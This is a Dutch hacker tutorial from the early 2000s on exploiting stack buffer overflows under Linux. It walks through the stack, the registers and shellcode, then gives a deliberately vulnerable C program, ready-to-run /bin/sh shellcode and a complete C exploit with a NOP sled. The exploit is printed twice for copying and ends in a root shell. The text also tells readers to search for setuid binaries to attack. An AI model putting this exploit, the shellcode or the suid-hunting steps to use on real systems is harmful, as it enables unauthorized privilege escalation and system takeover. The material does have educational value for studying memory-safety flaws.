Tutorial Index   Downloads   Advisories   C.A.I.R.A   Shoutouts      

---- Source Workstation: Linux Mandrake 8.1 -----

Buffer overflows een introductie ...

Er zijn in de wereld van hacking veel verschillende soorten aanvallen denkbaar één daar van is het exploiden van een bufferoverflow's deze aanval is in het midden van de 80'r jaren ontwikkeld en aan het einde van de 90'r jaren werden ook eindelijk de programeurs er zich bewust van het risco dat kleefd aan een te kleine buffer. In een mum van tijd werd deze manier van hacken en soort van standaard in de hackers wereld juist omdat er nog steeds zo veel servers vatbaar voor zijn elke dag worden er wel nieuwe overflows gevonden, zelfs het opensource programma LBK (Linux Banner Killer) wat ik voor 'They Call Us Hackers' heb geschreven moest een security patch ondergaan voor dat hij ubberhoud geupload kon worden versie 1.0.1 draait namelijk net als alle andere versie's van LBK suid root (setuid root) en had een vatbare buffer deze fout is in de stabiele versie (2.0) opgelost. Alles heefd een bepaalde buffer als je eet ga door met eten to je vol zit ga je door dan kan dit gevolgen hebben voor je gezondheid. Het zelfde geld voor een computer stel een computer kon alleen maar 32Bits rekenen en niet meer geheugen vrij kunnen maken dan 65535 bytes dan zou er een mogelijkheid zijn om dit te exploiden door een string te maken van 65535 + 1 = 66536 Bytes .

...
sub esp,0xFFFF (hier word 65535 gerecerveerd)
...

Het programma zal aangeven dat er een SEGV (Segmentfault) is op getreden om dat het programma een buffer van 65535 Bytes had gereserveerd op de stack, het programma probeerd dan in paniek een stuk extra geheugen aan te spreken om de langere string aan te kunnen maar heefd daar geen toestemming toe dus zal het programma crashen. Voor programeurs is deze fout op te lossen door een check uit te voeren naar de lengte van de string en als deze te lang is het programma af te breken met een foutmelding te zo als hier..

(voorbeeld van /usr/sbin/zic)

sh-2.05$ /usr/sbin/zic `perl -e 'print "A" x9000'`
AAAAAAAAAAAA: File name too long

Kijk dit programma heefd het mooi voor elkaar een check is uitgevoerd en het programma word afgebroken maar er zijn echter nog steeds tonnen met voorbeelden van programma's waar de programeurs dit vergeten zijn en die lopen het op, want hun programma kan voor een hacker een opstapje zijn naar root. Root is de accounts naam van de systeembeheerder op een unix systeem. Hier zie je een voorbeeld van een programma wat wel vatbaar is voor een expoit van dit type..

(voorbeeld van /bin/zcat)

sh-2.05$ /bin/zcat `perl -e 'print "A" x90000'`
Segmentation fault

Dit is waar we naar zoeken een vatbaar programma alleen weet ik dat dit programma ons geen root kan geven omdat hij niet setuid of setgid Root daait kijk maar...

sh-2.05$ ls -l /bin/zcat
-rwxr-xr-x 3 root root 50652 Sep 12 2001 /bin/zcat
^
|_ rwsr-xr-x zal suid root zijn maar dat is die niet..

Als het setuid (Set userID) of setgid (set Group ID) is er een kans dat er dat je extra rechten kan bemachtigen. Daarom moet je zoeken naar de kenmerken rwsr-xr-x of rwsr-sr-x onder linux kan je dat als volgd doen

[Kijken of in map /usr/bin suid binary's te vinden zijn]

sh-2.05$ cd /usr/bin
sh-2.05$ ls -l | grep sr

Er zal nu een hele lijst met bestanden getoond worden waar de letters sr in deze volgoorde in voor komen heb je die gevonden dan kan je die bestanden testen op bufferovervflows. Maar om het zoeken te besparen maken wij in deze tutorial zelf een vatbaar programma...

---------------

De Stack verdient ook een introductie..

Pas op voor Beginners Moeilijk !!! (Tip Lees 20x opnieuw)

Als je op mijn site kijkt (www.ravecool.tk) kan je daar een uitgebreide tutorial over de Stack en de Assembler taal terug vinden die je uitgebreid kan informeren over hoe de stack werkt maar omdat we niet alle tijd hebben zal ik het nogmaals in een notendop vertellen wat het doet. Als onder windows een crash hebt krijg je een blauw scherm of een fout melding dat er ergens in het geheugen een fout is gevonden en je ziet ook op adres welk de fout heefd plaats gevonden daarom is het goed te weten dat het stack het geheugen van je computer is, hier worden programma's op geladen en uitgevoerd deze zogenaamde stack groeit omlaag inplaats van net als een mens omhoog het is een beetje te vergelijken met als je een document aan het typen ben de text naar onder groeit. Hier door komt het ook dat de geheugen adressen in het begin van een programma veel hoger van waarde zijn dan de adressen aan het einde van het programma.. De geheugen adressen worden verdeeld van

80xxxx tot bfxxxx

Een adres aan het begin van een programma zal dus in de buurt van de 80xxxx leggen, wat nu valt gelijk wat op ?. Waarom bestaat een adres uit 4 bytes ?(80 xx xx xx) dit is omdat de stack met pakketjes van 4bytes naar het geheugen schrijft als je een text zou moeten invoeren bij een programma wat het later naar de stack duwt word AAAA als 41414141 (0x41 is hexidecimaal) op het geheugen plaatst. Als het reeks tekens wat je op gaf geen AAAA maar AA was had het pakket er zo uit gezien.

00 00 41 41

(Als je maar 1x A gaf)

00 00 00 41

0x00 Betekent einde van een tekst en word ook gebruikt om pakketjes aan tevullen om toch op een waarde 4bytes te komen dan zal je nu wel denken dit pakket bestaat toch uit 8bytes ?, hmm kijk er word in het geheugen gerekend in hexidecimaal en daarom is bijvoorbeeld 0x41 één getal 1hex byte dus. Maar er is nog wat raars hier aan want als je tekst geen AAAA was maar ABCD komt duidelijk weer het omgekeerd groeien van de stack in beeld want je pakket zou er niet zo uit zien

41 42 43 44 (A B C D)

Maar zo

44 43 42 41 (D C B A)

Dit komt omdat het geheugen omgekeerd groeit weet je het nog?. Oke dan elk pakketje van vier bytes word op een geheugen adress gepusht elk geheugen adres heefd daarom ook een waarde laten we zeggen dat het adres waar we ons pakket naar toe pushen 0xBFFFFA18 s (zo maar iets) dan krijgt 0xBFFFFA18 de waarde

(ingeval van AAAA)

0xBFFFFA18 = 0x41414141

Als onse reeks tekst groter was dan ons AAAA (4= tekens) bijvoorbeel 8 tekens zo als AAAABBBB dan word er simpel gereken want het pakket zou er dan zo uit zien

41 41 41 41 (AAAA) 42 42 42 42 (BBBB)

Omdat de stack maar met vier bytes per keer naar de stack pusht word het 2e pakket (42424242) in het eerst opvolgende geheugen adres op geslagen nu zal ons stack er als volgt uit zien

0xBFFFFA18 = 0x41414141
0xBFFFFA17 = 0x42424242 (De stack groeit naar beneden Remember ?).

Okey we gaan nu even wat groter uit pakken door een grotere text op het geheugen te plaatsen laten we maar wat verzinnen uuh ? ahh ik weet wat

Hallo Wereld ik ben Ravecool

We beginnen door de waarde van elke letter om te zetten van ASCII (Normaal ABC) naar hex formaat

<sp> = staat voor spatie

H = 0x48, a = 0x61, l = 0x6c, l = 0x6c, o = 0x6f
<sp> = 0x20, W = 0x57, e = 0x65, r = 0x72, e = 0x65, l = 0x6c, d = 0x64
<sp> = 0x20, i = 0x69, k = 0x6b
<sp> = 0x20, b = 0x62, e =0x65, n = 0x6e
<sp> = 0x20,R = 0x52, a = 0x61, v = 0x78, e = 0x65, c = 0x63, o = 0x6f, o= 0x6f, l = 0x6c

Zo dan hoeven jullie het ook niet meer op te zoeken ik heb de waarde even vertaal laten we deze waarde gaan verdelen in pakketjes van 4 bytes let goed op !!!!..

6c6c6148 = llaH
6557206f = eW<sp>o
646c6572 = dler
206b6920 = <sp>ki<sp>
206e6562 = <sp>neb
65786152 = evaR
6c6f6f63 = looc
0000000 = <einde string>

Dit lijkt mischien wel een beetje ingewikkeld maar wat er nu precies is gebeurt is dat tekst (Hallo Wereld ik ben Ravecool) in stukjes van 4 tekens is gehakt daar na is elk pakket in spiegelbeeld geplaatst en geconverteerd naar is naar hexidecimaal formaat puzzel het maar eens uit het klopt allemaal alleen sta je er nu nog een beetje raar bij te kijken. Zouden we dit op de stack drukken zouden adres en waarden er ongeveer zo uit zien..

(deze geheugen adressen zijn foebar en uit de lucht gegrepen)

0xBFFFFA18 = 6c6c6148
0xBFFFFA17 = 6557206f
0xBFFFFA16 = 646c6572
0xBFFFFA15 = 206b6920
0xBFFFFA14 = 206e6562
0xBFFFFA13 = 65786152
0xBFFFFA12 = 6c6f6f63
0xBFFFFA11 = 0000000

We kunnen nu met de volgende som uiit rekenen hoe lang de string is

(4 in de som staat voor de 4 bytes in een pakketje)

0xBFFFFA18 - 0xBFFFFA11 = 7 * 4 = 28

De lengte van de tekst is 28 (In normale ASCII) tekens lang..
 
--------------------------------- Opmerking !!! -------------------------------------------
deze reken methode komt later nog aanbot voor onze exploit.... !!
Dus lees dit stuk over de stack nog een aantal keer goed door tot je het echt begrijpt
--------------------------------- Opmerking !!! ------------------------------------------
 

------------------ Belangrijke Registers in Assembler -----

Algemene registers:
EAX - Accumulator
EBX - Base
ECX - Counter Pointer
EDX - Data

Stack Registers:
ESI - Source Index
EDI - Destination Index
EIP - Instruction Pointer

Pointer Registers:
ESP - Stack Pointer
EBP - Base Pointer

Voor het exploiden van een bufferoverflow zijn er drie van deze Registers erg belangrijk dit zijn de EIP - ESP en de EBP register mischien is de belangrijkste hier van wel de EIP de instruction pointer, zo als de naam al zegt is het een pointer het wijst naar het eerst volgende geheugen adres waar van de opdrachten van moeten worden uitgevoerd. Kijk maar even mee naar dit voorbeeld

1. EIP = 2
2. EIP = 3
3. EIP = 4
4. EIP = 5

Tijdens onse exploit pogen wij de EIP te over schrijven met een andere waarde zo dat we zelf kunnen bepaalen wat er uitgevoerd gaat worden inplaats van wat het programma zelf normaal zou willen uitvoeren. We gaan dan de EIP naar het geheugen adress van net iets voor de shellcode laten pointen zodat onse shellcode word uitgevoerd met de rechten van het programma zelf. Goed dan komen we nu bij de ESP pointer

In de Registers ESP en EBP worden de locale variabele van een functie opgeslagen en bewaard voor het later terug keren in de onder leggende functie zodat de gegevens die je hebt ingesteld bv in de taal basic.. Vaak word ESP ook gebruikt om geheugen mee te recerveren.

 

-

De Shellcode en de rol er van in de exploit ...

De shellcode is vrijwel het belangrijkste gedeelte van de exploit het bevat namelijk opdrachten in machine taal (Assembler) die de computer moet uitvoeren met de rechten van de eigennaar van het vatbaare programma. Laten we zeggen dat programma X vatbaar is voor een bufferoverflow en het zou setuid (set userID) rechten hebben voor de gebruiker Root kunnen we door de buffer te overflowen programma X de shellcode laten uitvoeren met de rechten van gebruiker Root. Zo word je veranderd naar die van gebruiker Root als je deze rechten bemachticht heb mag je alles op een computer en kan je alles instellen en wijzigen wat je maar wil want jij bent de baas jij ben de systeem beheerder !!. De shellcode bevat 9 van de 10 keer de opdracht om een shell te starten daarom word het ook wel een shellcode genoemd.Meestal is dit /bin/sh een shell is een prompt waar je onder linux mee werkt om de opdrachten op in te typen...

char shellcode[]= "\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b"
"\x08\x89\x43\x0c\x50\x8d\x53\x08\x52\x53"
"\xb0\x3b\x50\xcd\x80\xe8\xe4\xff\xff\xff/bin/sh";

Hier boven zie je een shellcode deze bestaat uit opdrachten van de Assembler taal geconverteerd naar hexidecimaale bytes om dat de stack in hex rekend worden de hex tekens niet nog een keer naar hex vertaald... De stack gaat maar tot bfxxxx de bytes daar onder staan voor opdrachten zo is

\xeb\x17\ (eb 17) = jmp eigengehuigen adress + 17 bytes

0xBFFFFA15 = \xeb\x17

zal stringen naar

BFFFFA2C

en daar verdergaan met wat er verder word opgedragen door de shellcode. Als je het gedeelte over de stack goed door gelezen heb ben je er inmiddels achter dat 0x00 of te wel \0 het einde van een string betekend daarom mag een shellcode ook geen 0x00 bytes bevatten en waarom niet ?. Dat is omdat dan niet de rele reeks van commando's opgeslagen in de shellcode word uitgevoerd.

bijvoorbeeld.

\xeb\xe8\xd4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x5d\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00
\xb8\x0b\x00\x00\x00\x89\xf3\\x8d\0x4e\x08\x8d\x5\x0c\xcd\x80\xb3\x04\xb8\x01\x00\x00\x00\xcd\x80/bin/sh

Omdat de shellcode ook een string is zal het orange gedeelte na \x00 byte in deze foute shellcode niet uit gevoerd worden met als gevolg dat je exploit niet voledig functioneerd laten we zeggen helemaal niet daarom raad ik je aan gewoon een shellcode te copyeeren of mijn Engelse versie van dit document te lezen wat je precies verteld hoe deze shellcode gemaakt kan worden..

Shell codes in andere vormen..

Aangezien somige programma's de tekst van de buffer alvoorens deze geoverflowed word in uppercase (bv "A" ipv "a") word het uitvoeren van je shellcode een probleem en probleem want /BIN/SH bestaat echter niet maar /bin/sh en daar right de shellcode zich op. De oplossing hier voor is dat je de shellcode moet aanpassen om toch een geldige shell te kunnen starten dit kan door de tekst /bin/sh door de shellcode zelf in lowercase (lowercase is klein zo als "a") te laten zetten. Het kan ook zo zijn dat een shellcode geen echte shell start maar inplaats daarvan een gebruiker toevoegd op het taget systeem zodat de hacker later via telnet of samba op het systeem in kan loggen.Elke hacker is anders dus ook de shellcodes zijn anders shellcodes komen in gaan in veel verschillende vormaten ieder zijn eigen wil toch een andere reden hier voor is somige linux distrobuties verschillen van kernel zo dat in assembler een andere shellcode geschreven moet worden zo zien de shellcodes van Linux en Open BSD er weer anders uit als die van Solaris - IRX - HP UX of Sun OS. Als je prezies wilt weten hoe je een shellcode kan maken moet je even een Emailtje sturen naar Ground Group Zero underground networks met als onderwerp "Order Shellcodes te making of by Ravecool (overflows part III eng), je krijgt nu mijn twee engels talige documenten over dit onderwerp in je inbox.. Ondertussen kan ik je ook doorsturen naar Dvorak die heefd voor hackers4hackers een pracht artiekel geschreven gebaseerd op de uitleg van onse colega Alep one daar in komt het bouwen van een shellcode aanbod je kan dit artiekel vinden in magazine 5 op www.hackers4hackers.com.Doch ik ook werk heb gedaan voor HDC kan ik www.hackers.com niet aanraden voor dit onderwerp, deze site is op sterven na dood en heefd weinig goede tutorials.

Tot zo ver de shellcode..

 

 

Een Programma vatbaar voor een exploit..

We gaan nu echt aan de gang we gaan een programma schrijven wat vatbaar is voor een bufferoverflow. De source code van dit programma zal zijn in C ik hoop niet dat jullie het erg vinden ?,maar de meeste hackers en newbies zijn silm en kopieeren gewoon mijn source of leren de taal gewoon..

... Vuln.c ..
main(int argc,char **argv){
char buffer[512];
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
}
... Vuln.c ...

(ff compilen = omzetten naar machinetaal en starten) ($ = een shell prompt)

sh-2.05$ gcc -o vuln vuln.c
sh-2.05$ ./vuln test
test
sh-2.05$

Dit programma vuln dus print zijn argumenten uit op het scherm niets mis mee toch ?. Ja toch wel want kijk eens naar deze 2 lijnen in de broncode.

char buffer[512];
strcpy(buffer,argv[1]);

Er word een buffer van 512 bytes in het geheugen gerecerveerd dat daar na word het argument wat je mee gaf aan het programma vuln in de buffer gekopieerd maar !! gaat er al een lampje branden wat nu als die argument groter is als 512 bytes ? laten we dat even testen hier voor gebruik ik een embedded perl commando.

sh-2.05$ ./vuln `perl -e 'print "a" x 550 '`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
sh-2.05$

Het argument wat we mee gaven 550 x "a" is groter dan de 512 bytes die vuln gerecerveerd had daarom crashed het programma met een SEGV (Segmentation fault). Het programma heefd tevens gecore dumped dat is een extra hulp middeltje voor programmeurs die kunnen nu met een debugger de fout vinden in het programma wat gecrached is een core bestand is een soort van log bestand. Laten we het even gaan openen, dat gaan we doen met gdb (Gnu debuger)..

 

 

--------------------------------- Opmerking !!! -------------------------------------------
Alles na (gdb) moet je zelf typen !!!
--------------------------------- Opmerking !!! -------------------------------------------

 

($ = een shell prompt)

sh-2.05$ gdb vuln
GNU gdb 20010813 (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) core core
Core was generated by `./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x61616161 in ?? ()
(gdb) i r eip
eip 0x61616161 0x61616161
(gdb)

Weet je nog wat EIP deed ? ik heb het verteld hier boven in het onderdeel over de stack, juist het point naar de volgende uit te voeren opdracht kijk eens naar de waarde van EIP de waarde = 0x61616161 en wat leuk is om te weten dat "a" in hexidecimaale waarde ook 0x61 we hebben met de overflow de EIP dus overschreven en veranderd naar 61616161 daarom crashte het programma want het heefd geen toestemming om een instructie op adres 61616161 uit te voeren. Maar hoe is het in god's naam mogelijk dat hex EIP de waarde heefd van onse string ? kijk maar even mee.

(gdb) disass main
Dump of assembler code for function main:
... Andere Data ..
0x80484ab <main+27>: call 0x8048380 <strcpy>
0x80484b0 <main+32>: add $0x10,%esp
.. Andere Data ...
End of assembler dump.
(gdb)

Het waarde van EIP hoort te zijn 0x80484b0 dit is het adres waar naar Assembler terug moet keren na het uitvoeren van de functie strcpy maar dit is veranderd door de overflow dit komt juist door de lengte van de string. Want als we functie strcpy eens van dicht bij bekijkeb treffen we aan het einde van de functie de EBP pointer aan.

(gdb) disass strcpy
--------- Andere Data --------
0x804cfb9 <strcpy+137> Pop %ebp
0x804cfba <strcpy+138> Ret
-------- Andere Data --------
End of assembler dump.
(gdb)
 
EBP wat deed die ook al weer oja het bewaard de waarde van de variable in de functie waar hij zich in bevind zodat hij die later kan door geven aan de onder leggende functie maar ook bewaard deze pointer het adres waar naar terug gekeerd moet worden als de functie af gelopen is. EBP - ESP en ook EIP bestaan uit een aantal geheu
gen adressen bij elkaar daarom kunnen ze meer data opslaan dan bv alleen 0xbffff18a een Register heefd een soort van offset en bij EBP ziet dat er ongeveer zo uit.
 
[Normale EBP] B=Buffer Tekst, R=Tussen ruimte, RET=Return Address..
[BBBBBBBB.RRRRRRR.RET]

De buffer is de tekst die het programma mee krijgt als argument maar als we die zo uit zijn voegen laten groeien groeit de buffer over de tussen ruimte en de EIP adres heen zodat ook die 4bytes die de EIP behoren te zijn ook de hexidecimaale waarde krijgen van de letter die je zo veel keer mee gaf aan de vatbare buffer..

Nops & Het return adres

De laatste vier tekens van de overflowende tekst veranderen dus die EIP dat is heel strak want ik wil de EIP laten pointen naar de shellcode die aan in de exploit aan het begin van overflowende tekst te vinden heefd en natuurlijk ook een eigen geheugen adres. Om het volgende uit te leggen introduceer ik je nu de NOP een nop betekend in de asembler taal No Operation. Als Asembler deze opdracht tegen komt spring hij door naar de volgende opdracht en als dat weer een NOP is weer naar de volgende etc. Een Nop heefd een hexidecimale waarde van 0x90 en een ASCII formaat van 144 ("É") de exploit gaat ook gebruik maken van de nops (het liefst zo veel mogelijk (voor een exploit)) zo dat de string die de exploit ont wikkeld er als volgt uit gaat zien...

N = NOP, S=Shellcode, RET = Return Adres
[NNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSRET]

De laaste bytes zijn die van het return adres en zullen de waarde van de EIP veranderen, we zorgen dat het return adres de waarde heefd van een adres ergens midden in de nops zodat die uitgevoerd word en steeds een stapje verder opschuift tot hij uitkomt bij de shellcode die zal worden uitgevoerd en een shell word voor de hacker gestart kijk nog een naar deze verduidelijking (hoop ik) ...

N = NOP, S=Shellcode, RET = Return Adres
[NNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSRET]
^____________________________________________|
Weet je nog dat door de laatste vier tekens "aaaa" de EIP 0x61616161 het word dus van ASCII naar hexidecimaal vertaald ,daarom staat in de exploit het return adres aan het einde van exploidende string in ASCII formaat omdat het toch naar hexidecimaal formaat. Laten we mijn theorie eens in de praktijk proberen we gaan zelf een EIP samen stellen wat dacht je van uuh 0x64636261 goed ?. Oke daar voor moeten de laatste vier tekens in onse exploidende tekst "abcd " zijn (in ASCII dus) d c b a

(Testjuh)

 

sh-2.05$ ./vuln `perl -e 'print "....abcd" x 550'`
Segmentation fault (core dumped)

sh-2.05$ gdb
GNU gdb 20010813 (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux".
(gdb) core core
Core was generated by `.abcd....abcd....abcd....abcd....abcd....abcd....abcd....
abcd....abcd....abcd..'.
Program terminated with signal 11, Segmentation fault.
#0 0x64636261 in ?? ()
(gdb)

Yep ! onze opzet is duidelijk geslaagt de EIP is nu 0x64636261 en dat is prezies zo als we dat wouden hebben. O ja ook wel even handig om te zeggen ik heb 4x een "." bij gezet omdat anders het return adres niet zou kloppen en er mischien wel zo uit zal zien 0x2E646362 (0x2E = ASCII ".") nu heb je mooi door 4 deelbaare pakketjes (zie de stack).Het return adres word door de meeste exploits uit gerekend door hij eigen geheugen adres met een bepaald getal te verlagen zo'n getal word een offset genoemd. het offset is een verzonnen getal wat vaak word mee gegeven aan de exploit bijvoorbeeld.

./exploit 500

Nu zal het offset 500 zijn en als het geheugen adres van je exploit bv 0xBFFFFA2C is word de som 0xBFFFFA2C - 500 = 0xBFFFF838 nu heefd de exploit geprobeerd dat je ergens in de NOPS komt als je in de string terug springt naar BFFFF838 de exploit vertaald dit naar ASCII en komt dan uit op "8° +" (Is ASCII). Maar het uitgerekende adres is nooit altijd zeker daarom kan de offset ook 540 zijn of zelfs 600 en als je veel nops gebruikt (in een grotere buffer) zelfs kleiner bijvoorbeeld 50. Dus met een grote buffer en veel nops een kleine offset met een kleine buffer en dus ook weinig NOPS is het offset groter..

(Onze 512 bytes kan je beschouwen als een grote buffer)

 

De exploit...

We hebben nu de kennis we nodig hebben om een exploit te schrijven voor deze type bug, dus gaan we een mooie exploit schrijven en proberen root access te bemachten hier is mijn exploit..

#include <stdlib.h>
#include <stdio.h>

De Header files die we voor de C taal gewoon nodig hebben

#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_OFFSET 0
#define RANGE 20

Hier worden bepaalde gegevens over het vatbare programma'tje voor de exploit gedefineerd RANGE is de tussen ruimte waar ik het over had die word straks ook overschreven door onze tekst.

#define NOP 0x90

Hier word aan gegeven welke hexidecimale waarde de NOP heefd en zo als je weet is dat 0x90 :-)

#define yellow "\033[1;33m"
#define normal "\033[0;39m"
#define red "\033[1;31m"
#define green "\033[1;32m"

Dit is een eigen toevoeging in mijn exploit het defineerd de kleuren die nodig zijn om mijn banner in kleur op het scherm te toveren je mag die natuurlijk ook in je eigen exploit houden zodat je ook een banner in je eigen kleuren kan maken.

char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Daar is hij dan onse shellcode die er voor zorgt dat er een shell gestart gaat worden als de buffer geoverflowd word.

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

Met deze functie krijgt de exploit zijn eigen geheugen adres dat later nodig is om het return adres te gokken

int main(int argc, char **argv)
{
char buff[DEFAULT_BUFFER_SIZE+RANGE+1], *pointer;
long adres;
unsigned long stackpointer;
int offset = DEFAULT_OFFSET, buffersize = DEFAULT_BUFFER_SIZE + RANGE + 1;
int i, j;
Voor functie main() moeten nog een aantal locale variable gedefineerd worden eerst krijgt offset de waarde van DEFAULT_OFFSET die al 0 is dus dat is nog niet zo erg. de buffersize (de lengte van de exploidende string) word op de volgende manier uitgerekend DEFAULT_BUFFER_SIZE + RANGE + 1. Range is de tussen ruimte in de EBP offset tussen de normale tekst en de EIP weetje nog?,hier word dus gezegt dat er ook over de tussen ruimte geschreven moet worden.
 

if (argc>1)
offset = atoi(argv[1]);
stackpointer = get_sp();
adres = stackpointer - offset;
 
Het argument wat de exploit mee krijgt is het offset met de offset word hier het geheugen adres van de plek waar de NOPs staan gegokt en bewaard voor later gebruik in de exploit.
 
for(i=0;i<buffersize;i+=4)
{
buff[i]=(adres&0x000000ff);
buff[i+1]=(adres&0x0000ff00)>>8;
buff[i+2]=(adres&0x00ff0000)>>16;
buff[i+3]=(adres&0xff000000)>>24;
}
Nu we een adres hebben moet hij nog omgekeerd worden zo als ABCD DCBA word dit ivm het omgekeerd pushen van de stack. Tegelijker tijd word het adres in ASCII formaat aan de exploidende tekst mee gegeven. (aan het einde vd tekst wel te verstaan).
 
for(i=0;i<(buffersize-(RANGE*2)-strlen(shellcode)-1);i++)
buff[i] = NOP;

De Nops worden hier aan de exploidende string mee gegeven

pointer = buff+buffersize-RANGE*2-strlen(shellcode)-1;
for (i=0;i<strlen(shellcode);i++)
*(pointer++) = shellcode[i];
buff[buffersize - 1]='\0';
En nu ook de shellcode en die word net als de nops en het return adres ook in ASCII geplaatst..
 
printf("\n\n");
printf("\t\t\t%s'' '' '' ''\n",yellow);
printf("\t\t\t%s '' %s [Exploit Written by ravecool] [RC] %s ''\n",green,normal,green);
printf("\t\t\t%s'' '' '' ''\n%s\n",red,normal);
printf(" \n");
printf("\t\t\t\t\t\t [Jump to 0x%x]\n", adres);
Mijn bannertje voor deze exploit is wel leuk vind ik zelf..
 
execl("./vuln", "vuln", buff, 0);
}

Hier word de exploidende tekst de zich in buff bevind door gegeven aan het vatbare programma "vuln" waar door de exploit word uit gevoerd en tevens sluit het "}" het programma af.

Hier onder staat de exploit nog een keer voor de knippers en plakkers onder ons en dat zijn er veel hoor mensen want wie wil er nou alles over typen, beginnende hackers zijn luie beestjes hoor

(Exploit voor vuln [exploit.c])

#include <stdlib.h>
#include <stdio.h>
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_OFFSET 0
#define RANGE 20
#define NOP 0x90
#define yellow "\033[1;33m"
#define normal "\033[0;39m"
#define red "\033[1;31m"
#define green "\033[1;32m"



char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}


int main(int argc, char **argv)
{
char buff[DEFAULT_BUFFER_SIZE+RANGE+1], *pointer;
long adres;
unsigned long stackpointer;
int offset = DEFAULT_OFFSET, buffersize = DEFAULT_BUFFER_SIZE + RANGE + 1;
int i, j;

if (argc>1)
offset = atoi(argv[1]);
stackpointer = get_sp();
adres = stackpointer - offset;

for(i=0;i<buffersize;i+=4)
{
buff[i]=(adres&0x000000ff);
buff[i+1]=(adres&0x0000ff00)>>8;
buff[i+2]=(adres&0x00ff0000)>>16;
buff[i+3]=(adres&0xff000000)>>24;

}

for(i=0;i<(buffersize-(RANGE*2)-strlen(shellcode)-1);i++)
buff[i] = NOP;
pointer = buff+buffersize-RANGE*2-strlen(shellcode)-1;
for (i=0;i<strlen(shellcode);i++)
*(pointer++) = shellcode[i];

buff[buffersize - 1]='\0';

printf("\n\n");
printf("\t\t\t%s'' '' '' ''\n",yellow);
printf("\t\t\t%s '' %s [Exploit Written by ravecool] [RC] %s ''\n",green,normal,green);
printf("\t\t\t%s'' '' '' ''\n%s\n",red,normal);
printf(" \n");
printf("\t\t\t\t\t\t [Jump to 0x%x]\n", adres);



execl("./vuln", "vuln", buff, 0);

}

Volg mijn stappen want we gaan eerst de exploit compilen en dan het progranma vuln suid maken zo dat we er root van kunnen krijgen..
 
[compilen]
sh-2.05$ gcc -o exploit exploit.c
 
[vuln wat rechten geven]
sh-2.05$ su -
Password: <voer root password in>
[root@mybox root]# chmod a+s vuln
[root@mybox root]# exit

Ok we kunnen nu de exploit gaan proberen en lekker root krijgen als dat zo is heb je je computer gehackt en kan je tots op je zelf zijn daar gaan we.

sh-2.05$ ./exploit 50




[Exploit Written by ravecool] [RC]
[Jump to 0xbffff7c6]
 





ë^‰1ÀˆF‰F ° ‰óV Í€1Û‰Ø@Í€èÜÿÿÿ
/bin/shÆ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿Æ÷ÿ¿
sh-2.05# whoami
root
sh-2.05#

Je bent root geworden de hack is dankzij jouw kennis goed uitgevoerd en je had ook in 1x het juiste offset te pakken wat er voor zorgt dat je ergens in de nops komt hier onder zie je drie dialogen die aangeven wat er gebeurd als je het offset goed hebt gegokt en als je een te grote of te kleine offset koos.

 

[Goede offset]
N = NOP, S=Shellcode, RET = Return Adres
[NNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSRET]
^____________________________________________|
 
 
[Te kleine offset]
N = NOP, S=Shellcode, RET = Return Adres
[NNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSRET]
 
.................................................^______________________|
[Te grote offset]
A =Andere data, N = NOP, S=Shellcode, RET = Return Adres
